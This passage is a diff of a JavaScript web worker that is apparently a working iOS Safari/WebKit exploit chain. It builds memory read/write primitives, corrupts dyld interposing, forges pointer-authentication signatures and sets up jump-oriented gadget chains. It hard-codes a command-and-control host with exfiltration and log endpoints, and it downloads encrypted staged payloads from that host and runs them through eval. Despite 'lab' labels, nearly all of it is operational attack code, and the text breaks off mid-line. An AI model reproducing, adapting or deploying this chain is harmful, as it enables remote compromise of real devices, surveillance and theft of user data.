logBase = String(__labC2Host).replace(/\/$/, ''); + } catch (eLb) {} + if (!logBase) logBase = 'https://mh0usocqzi6f46i.com:443'; + xhr.open("GET", logBase + "/api/ds/log?" + req , false); + xhr.send(null); + } + let signal_ptr; + let read64_str = '\u4444'.repeat(0x10); + [][read64_str]; + let begin, ios_version, origin; + const p = {}; + // L1 encryption state (populated via postMessage from main thread) + var _enc_S = null, _enc_K = null, _enc_hashes = null, _enc_checksums = null; + + function getJS(fname,method = 'POST') + { + var clean = fname.split('?')[0].replace(/^\//, ''); + if (_enc_S && _enc_hashes && _enc_hashes[clean]) { + try { + var xhr = new XMLHttpRequest(); + xhr.open("GET", host + "/res/" + _enc_S + "/" + _enc_hashes[clean], false); + xhr.overrideMimeType('text/plain; charset=x-user-defined'); + xhr.send(null); + if (xhr.status !== 200) return null; + var raw = xhr.responseText; + var ct = new Uint8Array(raw.length); + for (var _i = 0; _i < raw.length; _i++) ct[_i] = raw.charCodeAt(_i) & 0xff; + var pt = aesCtrDecrypt(ct, _enc_K); + var text = ''; + var chunk = 8192; + for (var i = 0; i < pt.length; i += chunk) { + text += String.fromCharCode.apply(null, pt.subarray(i, Math.min(i + chunk, pt.length))); + } + if (_enc_checksums && _enc_checksums[clean]) { + var h = sha256Str(text); + if (h !== _enc_checksums[clean]) return null; + } + return text; + } catch(e) { + print("L1 decrypt error: " + e); + } + } + var _enc_pass = (typeof __LAB_ENC_PASS__ !== 'undefined' && __LAB_ENC_PASS__) ? String(__LAB_ENC_PASS__) : '9898asd147258'; + function _labDecryptWire(text) { + if (!text) return text; + try { + if (typeof maybeDecryptText === 'function') return maybeDecryptText(text, _enc_pass); + if (typeof looksEncryptedText === 'function' && looksEncryptedText(text) + && typeof decryptPayloadSync === 'function') { + return decryptPayloadSync(JSON.parse(text), _enc_pass); + } + } catch (e) {} + return text; + } + var skipStaticEnc = (clean === 'pe_worker.js' || clean === 'pe_main.js'); + if (!skipStaticEnc) { + try { + var encUrl = host + "/encrypted_staging/" + clean + ".enc"; + var xhrEnc = new XMLHttpRequest(); + xhrEnc.open("GET", encUrl, false); + xhrEnc.send(null); + if (xhrEnc.status >= 200 && xhrEnc.status < 300 && xhrEnc.responseText) { + var dec = _labDecryptWire(xhrEnc.responseText); + if (dec && dec.length > 0 && dec.indexOf('{"v":1') !== 0) return dec; + } + } catch (eEnc) {} + } + try + { + let url = ""; + var assetBase = String(host || '').replace(/\/$/, ''); + var assetPath = String(fname || ''); + if (assetPath.charAt(0) !== '/') assetPath = '/' + assetPath; + url = assetBase + assetPath; + print("trying to fetch from:" + url); + let xhr = new XMLHttpRequest(); + xhr.open("GET", `${url}` , false); + xhr.send(null); + return _labDecryptWire(xhr.responseText); + } + catch(e) + { + print("got error from getJS: " + e); + } + } + function loadJS(fname) { + let responseText = getJS(fname); + if (responseText) { + eval(responseText); + } + } + async function loadObjcClass(cls) { + const bitmap = await createImageBitmap(canvas); + const wrappedBitmap = p.read64(p.addrof(bitmap) + 0x18n); + const imagebuffer = p.read64(wrappedBitmap + 0x10n); + p.write64(imagebuffer + 0x20n, cls); + bitmap.close(); + } + let slow_fcall_resolve; + self.onmessage = async function (e) { + const data = e.data; + switch (data.type) { + case 'stage1': + { + try + { + begin = data.begin; + ios_version = data.ios_version; + origin = data.origin; + const device_model = data.device_model; + const chipset = data.chipset; + const offsets = data.offsets; + const slide = data.slide; + __labC2Host = 'https://mh0usocqzi6f46i.com:443'; + host = data.desiredHost; + try { var _ep = (data.exfilTls ? 'https://' : 'http://') + (data.exfilHost || 'mh0usocqzi6f46i.com') + ':' + (data.exfilHttpsPort || data.exfilHttpPort || 8018); __labC2Host = _ep.replace(/\/$/, ''); } catch (_e1) { __labC2Host = 'https://mh0usocqzi6f46i.com:443'; } + SERVER_LOG = data.SERVER_LOG; + if (data._enc_session) { + _enc_S = data._enc_session; + _enc_K = hexToBytes(data._enc_key); + _enc_hashes = data._enc_hashes; + _enc_checksums = data._enc_checksums; + } + print("inside stage1"); + p.addrof = function addrof(o) { + boxed_arr[0] = o; + return BigInt.fromDouble(unboxed_arr[0]); + } + p.fakeobj = function fakeobj(addr) { + unboxed_arr[0] = addr.asDouble(); + return boxed_arr[0]; + } + let scribble_element; + let scribbles = []; + let prev_addr = 0n; + for (let i = 0; i < 500; ++i) { + let o = { + p1: 1.1, + p2: 2.2 + }; + if (p.addrof(o) - prev_addr === 0x20n) { + scribble_element = o; + break; + } + scribbles.push(o); + prev_addr = p.addrof(o); + } + let change_scribble_holder = { + p1: p.fakeobj(0x108240700000000n), + p2: scribble_element + }; + let change_scribble = p.fakeobj(p.addrof(change_scribble_holder) + 0x10n); + scribble_element.p3 = 1.1; + scribble_element[0] = 1.1; + let double_array_cell = BigInt.fromDouble(change_scribble[0]); + change_scribble_holder.p1 = p.fakeobj(double_array_cell); + const original_cell = change_scribble[0]; + p.write64 = function (addr, value) { + change_scribble[0] = original_cell; + change_scribble[1] = (addr + 0x10n).asDouble(); + if (value === 0n) { + scribble_element.p3 = 1; + delete scribble_element.p3; + } else if (value < 0x2000000000000n) { + scribble_element.p3 = p.fakeobj(value); + } else if (value <= 0x7ff2000000000000n || value >= 0x8002000000000000n && value <= 0xfff0000000000000n) { + scribble_element.p3 = value.sub(0x2000000000000n).asDouble(); + } else { + let off_addr = addr.add(8n); + let off_val = p.read64(off_addr); + let [hi, lo] = value.asInt32s(); + scribble_element.p3 = hi; + change_scribble[1] = (addr + 0x14n).asDouble(); + scribble_element.p3 = lo; + p.write64(off_addr, off_val); + } + }; + p.write16 = function (ptr, u16) { + let value = p.read64(ptr); + value &= ~0xffffn; + value |= u16; + p.write64(ptr, value); + }; + change_scribble[1] = p.addrof(read64_biguint64arr).add(8n).asDouble(); + let read64_float64arr_bytes = BigInt.fromDouble(scribble_element[1]); + read64_biguint64arr[0] = 0x10000000006n; + read64_biguint64arr[1] = read64_float64arr_bytes.add(0x10n); + change_scribble[1] = p.addrof(read64_str).add(8n).asDouble(); + scribble_element[0] = read64_float64arr_bytes.asDouble(); + p.read64 = function (addr) { + read64_biguint64arr[1] = addr; + return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n | BigInt(read64_str.charCodeAt(2)) << 32n | BigInt(read64_str.charCodeAt(3)) << 48n; + }; + p.read32 = function (addr) { + read64_biguint64arr[1] = addr; + return BigInt(read64_str.charCodeAt(0)) | BigInt(read64_str.charCodeAt(1)) << 16n; + }; + print("Finished prims succesfully"); + const vm = p.read64(p.read64(p.addrof(globalThis).add(0x10n)).add(0x38n)); + const heap = vm.add(0xc0n); + const isSafeToCollect = heap.add(0x241n); + p.write8 = function (ptr, u16) { + let value = p.read64(ptr); + value &= ~0xffn; + value |= u16; + p.write64(ptr, value); + }; + p.write8(isSafeToCollect, 0n); + print('vm: ' + vm.hex()); + print('heap: ' + heap.hex()); + print('isSafeToCollect: ' + isSafeToCollect.hex()); + p.device_model = device_model; + p.chipset = chipset; + globalThis.device_model = p.device_model; + p.offsets = offsets; + print(`slide: ${slide.hex()}`); + p.slide = slide; + p.write64(offsets.JavaScriptCore__jitAllowList_once, 0xffffffffffffffffn); + p.write64(offsets.JavaScriptCore__jitAllowList + 8n, 1n); + print("after write"); + self.postMessage({ + type: 'prepare_dlopen_workers' + }); + } + catch(e) + { + print("got exception on stage1: " + e); + } + break; + } + case 'dlopen_workers_prepared': + { + const { + offsets + } = p; + const contexts = p.read64(offsets.WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts); + print(`contexts: ${contexts.hex()}`); + const contexts_length = p.read64(contexts - 8n) >> 32n; + print(`contexts_length: ${contexts_length.hex()}`); + const dlopen_workers = []; + p.dlopen_workers = dlopen_workers; + for (let i = 0n; i < contexts_length; ++i) { + const ptr = contexts + i * 0x30n; + const key = p.read64(ptr); + if (!key) continue; + const context = p.read64(ptr + 0x20n); + const vtable = p.read64(context).noPAC(); + if (vtable != offsets.WebCore__DedicatedWorkerGlobalScope_vtable) continue; + const script = p.read64(context + 0x150n); + const workerOrWorkletThread = p.read64(context + 0x160n); + const thread = p.read64(workerOrWorkletThread + 0x28n); + const Strong_globalScopeWrapper = p.read64(script + 0x20n); + const globalScopeWrapper = p.read64(Strong_globalScopeWrapper); + const butterfly = p.read64(globalScopeWrapper + 8n); + const id = p.read64(butterfly); + const bitmap = p.read64(butterfly + 8n); + if (id == 0xfffe000011111111n || id == 0xfffe000022222222n) { + p.dlopen_workers.push({ + thread: thread, + id: id, + bitmap: bitmap + }); + } else if (id == 0xfffe000033333333n) { + p.sub_worker = { + thread: thread, + id: id + }; + } + } + const defaultLoader = p.read64(offsets.AXCoreUtilities__DefaultLoader); + print(`defaultLoader: ${defaultLoader.hex()}`); + if (defaultLoader) { + const paciza_nullfunc = p.read64(offsets.WebCore__softLinkDDDFACacheCreateFromFramework); + print(`paciza_nullfunc: ${paciza_nullfunc.hex()}`); + const dispatchSource = p.read64(defaultLoader + 0x18n); + print(`dispatchSource: ${dispatchSource.hex()}`); + const dispatchSomething = p.read64(dispatchSource + 0x58n); + print(`dispatchSomething: ${dispatchSomething.hex()}`); + const dispatchBlock = p.read64(dispatchSomething + 0x28n); + print(`dispatchBlock: ${dispatchBlock.hex()}`); + p.write64(dispatchBlock + 0x20n, paciza_nullfunc); + } + const classes = [offsets.TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit, offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker]; + for (let i = 0; i < 2; ++i) { + const worker = dlopen_workers[i]; + const wrappedBitmap = p.read64(worker.bitmap + 0x18n); + print(`wrappedBitmap: ${wrappedBitmap.hex()}`); + const imageBuffer = p.read64(wrappedBitmap + 0x10n); + print(`imageBuffer: ${imageBuffer.hex()}`); + p.write64(imageBuffer + 0x20n, classes[i]); + } + print('Load TextToSpeech'); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest); + print('TextToSpeech Loaded'); + const NSBundleTables = p.read64(offsets.Foundation__NSBundleTables_bundleTables_value); + print(`NSBundleTables: ${NSBundleTables.hex()}`); + const loadedFrameworks = p.read64(NSBundleTables + 0x20n); + print(`loadedFrameworks: ${loadedFrameworks.hex()}`); + const loadedFrameworks_length = p.read64(loadedFrameworks + 0x30n); + print(`loadedFrameworks_length: ${loadedFrameworks_length.hex()}`); + const loadedFrameworks_buffer = p.read64(loadedFrameworks + 8n); + print(`loadedFrameworks_buffer: ${loadedFrameworks_buffer.hex()}`); + let TextToSpeech_NSBundle; + for (let i = 0n; i < loadedFrameworks_length; ++i) { + const bundle = p.read64(loadedFrameworks_buffer + 8n * i); + if (bundle <= 0x1_00000000n) continue; + print(`bundle[${i}]: ${bundle.hex()}`); + const initialPath = p.read64(bundle + 0x28n); + if (initialPath != offsets.AVFAudio__cfstr_SystemLibraryTextToSpeech) continue; + TextToSpeech_NSBundle = bundle; + break; + } + print(`TextToSpeech_NSBundle: ${TextToSpeech_NSBundle.hex()}`); + const TextToSpeech_CFBundle = p.read64(TextToSpeech_NSBundle + 0x10n); + print(`TextToSpeech_CFBundle: ${TextToSpeech_CFBundle.hex()}`); + p.TextToSpeech_NSBundle = TextToSpeech_NSBundle; + p.TextToSpeech_CFBundle = TextToSpeech_CFBundle; + p.write64(TextToSpeech_NSBundle + 8n, 0x40008n); + p.write8(TextToSpeech_CFBundle + 0x34n, 0n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libARI_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x15n); + p.write64(TextToSpeech_CFBundle + 0x68n, offsets.CFNetwork__gConstantCFStringValueTable); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + self.postMessage({ + 'type': 'trigger_dlopen1' + }); + break; + } + case 'check_dlopen1': + { + const { + offsets + } = p; + const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000011111111n); + print(`worker.thread: ${worker.thread.hex()}`); + const runtimeState = p.read64(offsets.libdyld__gAPIs); + p.runtimeState = runtimeState; + print(`runtimeState: ${runtimeState.hex()}`); + const runtimeState_vtable = p.read64(runtimeState).noPAC(); + print(`runtimeState_vtable: ${runtimeState_vtable.hex()}`); + const dyld_emptySlot = p.read64(runtimeState_vtable).noPAC(); + print(`dyld_emptySlot: ${dyld_emptySlot.hex()}`); + const runtimeStateLock = p.read64(runtimeState + 0x70n); + print(`runtimeStateLock: ${runtimeStateLock.hex()}`); + p.runtimeStateLock = runtimeStateLock; + const p_InterposeTupleAll_buffer = runtimeState + 0xb8n; + p.p_InterposeTupleAll_buffer = p_InterposeTupleAll_buffer; + const p_InterposeTupleAll_size = runtimeState + 0xc0n; + p.p_InterposeTupleAll_size = p_InterposeTupleAll_size; + print(`p_InterposeTupleAll_buffer: ${p_InterposeTupleAll_buffer.hex()}`); + const stack_bottom = p.read64(worker.thread + 0x10n); + worker.stack_bottom = stack_bottom; + print(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = p.read64(worker.thread + 0x18n); + worker.stack_top = stack_top; + print(`stack_top: ${stack_top.hex()}`); + p.create_jsstring = function (ptr, size) { + const res = 'a'.repeat(8); + const str = p.read64(p.addrof(res) + 8n); + p.write64(str, size << 32n | 0x1000n); + p.write64(str + 8n, ptr); + return res; + }; + p.efficient_search = function (begin, end, bytes) { + const needle = String.fromCharCode(...bytes); + const finder = p.create_jsstring(begin, end - begin); + while (true) { + const index = finder.indexOf(needle); + if (index != -1) { + print(`index:${index}`); + return begin + BigInt(index); + } + } + }; + const dyld_offset = offsets.dyld__RuntimeState_emptySlot - dyld_emptySlot - p.slide; + print(`dyld_offset: ${dyld_offset.hex()}`); + p.dlopen_from_lambda_ret = offsets.dyld__dlopen_from_lambda_ret - p.slide - dyld_offset; + print(`p.dlopen_from_lambda_ret: ${p.dlopen_from_lambda_ret.hex()}`); + print(p.read64(p.dlopen_from_lambda_ret).hex()); + u64[0] = p.dlopen_from_lambda_ret; + const needle = [u8[0], u8[1], u8[2], u8[3]]; + const search_result = p.efficient_search(stack_top, stack_bottom, needle); + print(`search_result:${search_result.hex()}`); + const loader = search_result + 0x78n; + print(`loader:${loader.hex()}`); + const interposingTuples = new BigUint64Array(0x100 * 2); + p.interposingTuples = interposingTuples; + const interposingTuples_data_ptr = interposingTuples.data(); + print(`interposingTuples_data_ptr:${interposingTuples_data_ptr.hex()}`); + const prev_metadata = new BigUint64Array(4); + const prev_metadata_data_ptr = prev_metadata.data(); + p.prev_metadata = prev_metadata; + p.prev_metadata_data_ptr = prev_metadata_data_ptr; + print(`prev_metadata_data_ptr:${prev_metadata_data_ptr.hex()}`); + prev_metadata[0] = prev_metadata_data_ptr; + prev_metadata[1] = 1n; + const metadata = new BigUint64Array(4); + const metadata_data_ptr = metadata.data(); + print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); + p.metadata1 = metadata; + metadata[0] = prev_metadata_data_ptr; + metadata[1] = metadata_data_ptr + 0x10n - interposingTuples_data_ptr | 1n; + p.write64(loader, p_InterposeTupleAll_buffer - 0x10n); + p.write64(loader + 8n, metadata_data_ptr + 0x10n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(p.runtimeStateLock + 0x20n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.HOMEUI_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x3bn); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + print(`going to load AVSpeechSynthesisVoice`); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice); + print(`succeeded to load`); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x102n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(runtimeStateLock + 0x20n, 0n); + p.write64(p.TextToSpeech_NSBundle + 8n, 0x40008n); + p.write8(p.TextToSpeech_CFBundle + 0x34n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.PerfPowerServicesReader_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5bn); + self.postMessage({ + 'type': 'trigger_dlopen2' + }); + break; + } + case 'check_dlopen2': + { + const { + offsets + } = p; + print('check_dlopen2'); + const worker = p.dlopen_workers.find(worker => worker.id == 0xfffe000022222222n); + print(`worker.thread: ${worker.thread.hex()}`); + const stack_bottom = p.read64(worker.thread + 0x10n); + worker.stack_bottom = stack_bottom; + print(`stack_bottom: ${stack_bottom.hex()}`); + const stack_top = p.read64(worker.thread + 0x18n); + worker.stack_top = stack_top; + print(`stack_top: ${stack_top.hex()}`); + u64[0] = p.dlopen_from_lambda_ret; + const needle = [u8[0], u8[1], u8[2], u8[3]]; + const search_result = p.efficient_search(stack_top, stack_bottom, needle); + print(`search_result:${search_result.hex()}`); + const loader = search_result + 0x78n; + print(`loader:${loader.hex()}`); + const metadata = new BigUint64Array(4); + const metadata_data_ptr = metadata.data(); + print(`metadata_data_ptr:${metadata_data_ptr.hex()}`); + p.metadata1 = metadata; + metadata[0] = p.prev_metadata_data_ptr; + metadata[1] = metadata_data_ptr + 0x10n - 0x100n | 1n; + p.write64(loader, p.p_InterposeTupleAll_size - 0x10n); + p.write64(loader + 8n, metadata_data_ptr + 0x10n); + p.write64(offsets.libsystem_c__atexit_mutex + 0x20n, 0x101n); + p.write64(offsets.AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken, 0n); + p.write64(p.TextToSpeech_NSBundle + 0x40n, 0n); + p.write64(p.runtimeStateLock + 0x20n, 0n); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x10n, offsets.libGPUCompilerImplLazy_cstring); + p.write64(offsets.CFNetwork__gConstantCFStringValueTable + 0x18n, 0x5en); + await loadObjcClass(offsets.AVFAudio__OBJC_CLASS__AVSpeechUtterance); + let interpose_index = 0; + function interpose(ptr, val) { + p.interposingTuples[interpose_index++] = val; + p.interposingTuples[interpose_index++] = ptr; + } + interpose(offsets.MediaAccessibility__MACaptionAppearanceGetDisplayType, offsets.ImageIO__IIOLoadCMPhotoSymbols); + interpose(offsets.CMPhoto__kCMPhotoTranscodeOption_Strips, 0n); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateContainerFromImageExt, offsets.libGPUCompilerImplLazy__invoker); + interpose(offsets.CMPhoto__CMPhotoCompressionCreateDataContainerFromImage, offsets.Security__SecKeychainBackupSyncable_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage, offsets.Security__SecOTRSessionProcessPacketRemote_block_invoke); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation, offsets.libdyld__dlopen); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddCustomMetadata, offsets.libdyld__dlsym); + interpose(offsets.CMPhoto__CMPhotoCompressionSessionAddExif, offsets.dyld__signPointer); + while (p.read64(p.p_InterposeTupleAll_size) != 0x100n); + print('InterposeTupleAll.size has been written'); + const initMediaAccessibilityMACaptionAppearanceGetDisplayType = p.read64(offsets.WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType); + print(`initMediaAccessibilityMACaptionAppearanceGetDisplayType: ${initMediaAccessibilityMACaptionAppearanceGetDisplayType.hex()}`); + const paciza_PAL_initPKContact = p.read64(offsets.WebCore__PAL_getPKContactClass); + print(`paciza_PAL_initPKContact: ${paciza_PAL_initPKContact.hex()}`); + p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, initMediaAccessibilityMACaptionAppearanceGetDisplayType); + p.write64(offsets.ImageIO__gImageIOLogProc, paciza_PAL_initPKContact); + p.write64(offsets.WebCore__initPKContact_once, 0xffffffffffffffffn); + p.write64(offsets.WebCore__initPKContact_value, 0n); + self.postMessage({ + type: 'sign_pointers' + }); + break; + } + case 'setup_fcall': + { + const { + offsets + } = p; + const paciza_invoker = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt); + print(`paciza_invoker: ${paciza_invoker.hex()}`); + const paciza_security_invoker_1 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage); + print(`paciza_security_invoker_1: ${paciza_security_invoker_1.hex()}`); + const paciza_security_invoker_2 = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage); + print(`paciza_security_invoker_2: ${paciza_security_invoker_2.hex()}`); + const paciza_dlopen = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation); + print(`paciza_dlopen: ${paciza_dlopen.hex()}`); + const paciza_dlsym = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata); + print(`paciza_dlsym: ${paciza_dlsym.hex()}`); + const paciza_signPointer = p.read64(offsets.ImageIO__gFunc_CMPhotoCompressionSessionAddExif); + print(`paciza_signPointer: ${paciza_signPointer.hex()}`); + const gSecurityd = new BigUint64Array(0x100 / 8); + const gSecurityd_data_ptr = gSecurityd.data(); + p.write64(offsets.Security__gSecurityd, gSecurityd_data_ptr); + const slowFcallResult = new BigUint64Array(0x10 / 8); + const slowFcallResult_data_ptr = slowFcallResult.data(); + slowFcallResult[8 / 8] = slowFcallResult_data_ptr - 0x18n; + p.slowFcallResult = slowFcallResult; + const invoker_x0 = new BigUint64Array(0x58); + const invoker_x0_data_ptr = invoker_x0.data(); + const invoker_arg = new BigUint64Array(0x10); + const invoker_arg_data_ptr = invoker_arg.data(); + invoker_x0[0x20 / 8] = slowFcallResult_data_ptr; + invoker_arg[0 / 8] = paciza_security_invoker_1; + invoker_arg[8 / 8] = invoker_x0_data_ptr; + p.write64(offsets.WebCore__TelephoneNumberDetector_phoneNumbersScanner_value, invoker_arg_data_ptr); + p.write64(offsets.WebCore__softLinkDDDFAScannerFirstResultInUnicharArray, paciza_invoker); + function slow_fcall_1(pc, x0 = 0n, x1 = 0n, x2 = 0n) { + invoker_arg[0 / 8] = paciza_security_invoker_1; + gSecurityd[0x78 / 8] = pc; + invoker_x0[0x28 / 8] = x0; + invoker_x0[0x30 / 8] = x1; + invoker_x0[0x38 / 8] = x2; + return new Promise(r => { + slow_fcall_resolve = r; + self.postMessage({ + type: 'slow_fcall' + }); + }); + } + function slow_fcall_2(pc, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n) { + invoker_arg[0 / 8] = paciza_security_invoker_2; + gSecurityd[0xb8 / 8] = pc; + invoker_x0[0x28 / 8] = x0; + invoker_x0[0x30 / 8] = x1; + invoker_x0[0x38 / 8] = x2; + invoker_x0[0x40 / 8] = x3; + invoker_x0[0x48 / 8] = x4; + invoker_x0[0x50 / 8] = x5; + return new Promise(r => { + slow_fcall_resolve = r; + self.postMessage({ + type: 'slow_fcall' + }); + }); + } + const rope_resolver = []; + function resolve_rope(str) { + delete rope_resolver[str]; + } + function slow_dlopen(filename, flags) { + filename = filename + '\0'; + resolve_rope(filename); + const name_ptr = p.read64(p.read64(p.addrof(filename) + 8n) + 8n); + return slow_fcall_1(paciza_dlopen, name_ptr, flags); + } + function slow_dlsym(handle, symbol) { + symbol = symbol + '\0'; + resolve_rope(symbol); + const symbol_ptr = p.read64(p.read64(p.addrof(symbol) + 8n) + 8n); + return slow_fcall_1(paciza_dlsym, handle, symbol_ptr); + } + const signPointer_self = new BigUint64Array(4); + const signPointer_self_addr = p.read64(p.addrof(signPointer_self) + 0x10n); + function slow_pacia(ptr, ctx) { + signPointer_self[0] = 0x80010000_00000000n | ctx >> 48n << 32n; + return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); + } + function slow_pacib(ptr, ctx) { + signPointer_self[0] = 0x80030000_00000000n | ctx >> 48n << 32n; + return slow_fcall_1(paciza_signPointer, signPointer_self_addr, ctx, ptr); + } + const libsystem_pthread = await slow_dlopen('/usr/lib/system/libsystem_pthread.dylib', 1n); + print(`libsystem_pthread: ${libsystem_pthread.hex()}`); + const libsystem_malloc = await slow_dlopen("/usr/lib/system/libsystem_malloc.dylib", 0n); + print(`libsystem_malloc: ${libsystem_malloc.hex()}`); + const signed_pthread_create = await slow_dlsym(libsystem_pthread, 'pthread_create'); + offsets.pthread_create = signed_pthread_create.noPAC(); + print(`signed_pthread_create: ${signed_pthread_create.hex()}`); + const paciza_malloc = await slow_dlsym(libsystem_malloc, 'malloc'); + offsets.malloc = paciza_malloc.noPAC(); + print(`paciza_malloc: ${paciza_malloc.hex()}`); + const gadget_control_1 = offsets.gadget_control_1_ios184; + print(`gadget_control_1:${gadget_control_1.hex()}`); + const gadget_control_2 = offsets.gadget_control_2_ios184; + print(`gadget_control_2:${gadget_control_2.hex()}`); + const gadget_control_3 = offsets.gadget_control_3_ios184; + print(`gadget_control_3: ${gadget_control_3.hex()}`); + const gadget_loop_1 = offsets.gadget_loop_1_ios184; + print(`gadget_loop_1: ${gadget_loop_1.hex()}`); + const gadget_loop_2 = offsets.gadget_loop_2_ios184; + print(`gadget_loop_2: ${gadget_loop_2.hex()}`); + const gadget_loop_3 = offsets.gadget_loop_3_ios184; + print(`gadget_loop_3: ${gadget_loop_3.hex()}`); + const gadget_set_all_registers = offsets.gadget_set_all_registers_ios184; + print(`gadget_set_all_registers: ${gadget_set_all_registers.hex()}`); + const paciza_gadget_loop_1 = await slow_pacia(gadget_loop_1, 0n); + print(`paciza_gadget_loop_1: ${paciza_gadget_loop_1.hex()}`); + const paciza_gadget_loop_2 = await slow_pacia(gadget_loop_2, 0n); + print(`paciza_gadget_loop_2: ${paciza_gadget_loop_2.hex()}`); + const paciza_gadget_loop_3 = await slow_pacia(gadget_loop_3, 0n); + print(`paciza_gadget_loop_3: ${paciza_gadget_loop_3.hex()}`); + const paciza_gadget_control_2 = await slow_pacia(gadget_control_2, 0n); + print(`paciza_gadget_control_2: ${paciza_gadget_control_2.hex()}`); + const paciza_gadget_control_3 = await slow_pacia(gadget_control_3, 0n); + print(`paciza_gadget_control_3: ${paciza_gadget_control_3.hex()}`); + const paciza_gadget_control_3_4 = await slow_pacia(gadget_control_3 + 4n, 0n); + print(`paciza_gadget_control_3_4: ${paciza_gadget_control_3_4.hex()}`); + const paciza_gadget_set_all_registers = await slow_pacia(gadget_set_all_registers, 0n); + print(`paciza_gadget_set_all_registers: ${paciza_gadget_set_all_registers.hex()}`); + const jop_thread = new BigUint64Array(0x20 / 8); + const jop_thread_data_ptr = jop_thread.data(); + const x0_u64 = new BigUint64Array(0x20 / 8); + const x0 = x0_u64.data(); + x0_u64[8 / 8] = paciza_gadget_loop_3; + await slow_fcall_2(signed_pthread_create, jop_thread_data_ptr, 0n, paciza_gadget_loop_3, x0); + print('WebContent fcall thread has been spawned!!'); + const pthread_node = jop_thread[0]; + print(`pthread_node:${pthread_node.hex()}`); + const jop_stack_top = p.read64(pthread_node + 0xb8n); + print(`jop_stack_top:${jop_stack_top.hex()}`); + const jop_stack_bottom = jop_stack_top + 0x88000n; + print(`jop_stack_bottom:${jop_stack_bottom.hex()}`); + const x19_u64 = new BigUint64Array(0x500 / 8); + const x19_f64 = new Float64Array(x19_u64.buffer); + const x19 = x19_u64.data(); + print(`x19: ${x19.hex()}`); + const x22_u64 = new BigUint64Array(0x20 / 8); + const x22 = x22_u64.data(); + print(`x22: ${x22.hex()}`); + const x20_u64 = new BigUint64Array(0x30 / 8); + const x20 = x20_u64.data(); + print(`x20: ${x20.hex()}`); + const stack_u64 = new BigUint64Array(0x88000 / 8); + const stack = stack_u64.data(); + print(`stack: ${stack.hex()}`); + const paciza_gadget_control_1 = await slow_pacia(gadget_control_1, 0n); + print(`paciza_gadget_control_1: ${paciza_gadget_control_1.hex()}`); + const pacib_gadget_loop_1_0x80020 = await slow_pacib(gadget_loop_1, stack + 0x80020n); + print(`pacib_gadget_loop_1_0x80020: ${pacib_gadget_loop_1_0x80020.hex()}`); + const pacib_gadget_loop_1_0x800c0 = await slow_pacib(gadget_loop_1, stack + 0x800c0n); + print(`pacib_gadget_loop_1_0x800c0: ${pacib_gadget_loop_1_0x800c0.hex()}`); + const pacib_gadget_loop_2_0x80010 = await slow_pacib(gadget_loop_2, stack + 0x80010n); + print(`pacib_gadget_loop_2_0x80010: ${pacib_gadget_loop_2_0x80010.hex()}`); + const pacib_gadget_loop_2_0x800b0 = await slow_pacib(gadget_loop_2, stack + 0x800b0n); + print(`pacib_gadget_loop_2_0x800b0: ${pacib_gadget_loop_2_0x800b0.hex()}`); + const MAGIC = 123.456; + p.write64(jop_stack_bottom - 0x4fa0n, stack + 0x80000n); + p.write64(jop_stack_bottom - 0x4f98n, await slow_pacib(gadget_loop_1, jop_stack_top + 0x83070n)); + p.write64(jop_stack_bottom - 0x4fb0n, x20); + p.write64(jop_stack_bottom - 0x4fa8n, x19); + p.write64(jop_stack_bottom - 0x4fc0n, x22); + x19_f64[0x20 / 8] = MAGIC; + x19_u64[0 / 8] = paciza_gadget_loop_1; + x0_u64[8 / 8] = paciza_gadget_control_1; + while (x19_f64[0x20 / 8] === MAGIC); + stack_u64[0x80008 / 8] = pacib_gadget_loop_2_0x80010; + x19_f64[8 / 8] = MAGIC; + x20_u64[0x10 / 8] = paciza_gadget_loop_2; + x19_u64[0 / 8] = paciza_gadget_control_2; + while (x19_f64[8 / 8] == MAGIC); + x20_u64[0x20 